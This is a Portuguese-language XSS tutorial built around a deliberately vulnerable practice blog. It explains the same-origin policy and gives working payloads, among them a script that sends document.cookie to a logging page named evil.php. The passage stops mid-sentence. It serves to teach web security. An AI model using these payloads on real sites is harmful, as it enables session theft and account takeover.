criei um script exemplo aqui que simula um blog e um sistema simples de comentario vulneravel. Uns detalhes sobre o mini-blog-vulneravel:* Propositalmente todos que postarem comentarios podem apagar, isto para poder testar varios tipos de ataques sem o problema dos testes anteriores.* Se quiser apagar todos os comentarios de uma unica vez use /tutoriais/XSS/blog_vuln.php?reset=1* O script em /tutoriais/XSS/evil.php e bem simples. Ele apenas grava os seus cookies num arquivo texto. SE VOCE NAO DESEJA QUE SEUS COOKIES FIQUEM GRAVADOS NELE DEPOIS DOS TESTES RODE O SCRIPT EM /tutoriais/XSS/evil.php?reset=1.Primeiro apague todos os comentarios que possam ter la. Agora faca um teste simples, por exemplo poste o seguinte conteudo de comentario:<script > alert( document. cookie); < /script>Depois de submeter isto devera exibir seu cookie atual NESTE SITE (ja vamos ver isso de perto).Isso prova que realmente esse pseudo-micro-blog esta bem vulneravel. Entao apague esse comentario e vamos comecar testes mais ofensivos.Same Origin PolicyTodos os navegadores possuem uma politica de mesma origem ou, como e mais conhecido same-origin-policy. Isto previne que um DOM ou um script carregado numa origem possa pegar ou alterar propriedades de um DOM de outra origem. Quando digo DOM, me refiro a arvore xhtml ou xml.Para uma comparacao entre permissoes entre diferentes origens veja aqui e aqui.Veja essa seguranca dos navegadores na pratica, va ate nosso blog e poste o seguinte comentario: Citacao: Legal essa noticia.<script>var xmlhttp = new XMLHttpRequest();xmlhttp.open("GET", "http://www.google.com/seach?q=teste");xmlhttp.send(null);xmlhttp.onreadystatechange = function(){if(xmlhttp.readyState==4)alert(xmlhttp.responseText);}</script> Se voce usa o IEca use:xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");Voce vera que isto retornara um alert vazio. Isto por causa do Same Origin Policy, eu nao posso requisitar, muito menos alterar, uma pagina que seja de outra origem. (veja um dos links acima sobre...)Para comprovar isso poste esse comentario: Citacao: <script>var xmlhttp = new XMLHttpRequest();xmlhttp.open("GET", "http://blog.tiagomoura-design.com.br/index.php");xmlhttp.send(null);xmlhttp.onreadystatechange = function(){if(xmlhttp.readyState==4)alert(xmlhttp.responseText);}</script> Provavelmente a requisicao tera sucesso e retornara o html no alert. Voce ainda podera alterar o document.domain para poder aumentar o sua zona de acesso para as requisicoes mas o DOM tambem esta incluido nesta politica, entao voce poderia somente fazer:document.domain = "tiagomoura-design.com.br";oudocument.domain = "teste.tiagomoura-design.com.br";mas naodocument.domain = "google.com"; // aqui voce vera "property denied" no firebugMas entao como que o hacker obtem as informacoes do cliente e redireciona para outro host se existe essa politica nos navegadores?O problema e que existem tags html muito uteis para a internet que necessitam ter esse acesso externo e portanto sao liberadas pelos navegadores. Essas tags sao <SCRIPT>, <FRAME>, <IFRAME>, <IMG>, <A>, etc.Roubando cookiesVamos ver isso funcionando, apague os comentarios anteriores e tente o seguinte: Citacao: < script >var img = new Image();img. src= "evil.php?cookie="+escape( document. cookie);< /script> Isso fara com que o navegador faca uma requisicao valida no src da imagem, mas como o src nao e uma imagem valida (neste exemplo) a tag ficara oculta. No caso a tag IMG faz com que o navegador faca uma requisicao no arquivo evil.php com a variavel GET cookie={seu_cookie}. O script evil.php e bem simples, apenas grava seu cookie num arquivo.txt, seu codigo pode ser visto aqui. Mas nem era necessario, so criei esse script para voces poderem ver os cookies gravados no arquivo cookies.txt, visto